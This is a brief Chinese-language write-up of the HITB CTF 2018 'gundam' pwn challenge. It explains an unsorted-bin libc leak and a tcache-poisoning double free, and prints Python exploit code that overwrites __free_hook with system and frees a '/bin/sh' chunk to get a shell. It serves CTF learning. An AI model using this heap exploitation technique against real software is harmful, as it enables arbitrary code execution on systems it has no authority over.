HITB CTF 2018: gundam 分析

要点

1.利用 unsorted bin泄露 libc 基址

参考 https://www.cjovi.icu/pwnreview/1089.html

2.double free——tcache poisoning

类似fastbin 的double free,不过这题有一些细节

关键代码:

def overwrite():
destroy(2) #free这两个chunk是为了接下来构造3个chunk,
destroy(1) #不这样的话不能 炸工厂,即高达数不会减少
destroy(0)
#debug(1)
destroy(0)
#debug(1)
blow_up() #高达数不减少就不能创建chunk了
#debug(1)
build(p64(free_hook_addr)) #申请到原本的chunk(0) 工厂编号开始重新排序 chunk(0)
#debug(1)
build('/bin/sh') #申请到原本的chunk(0) chunk(1)
#debug(1)
build(p64(system_addr)) #申请到ree_hook_addr地址处的chunk chunk(2)
#debug(1)

def pwn():
destroy(1) # 因为此时 带有 “/bin/sh” 的chunk 编号为 1
io.interactive()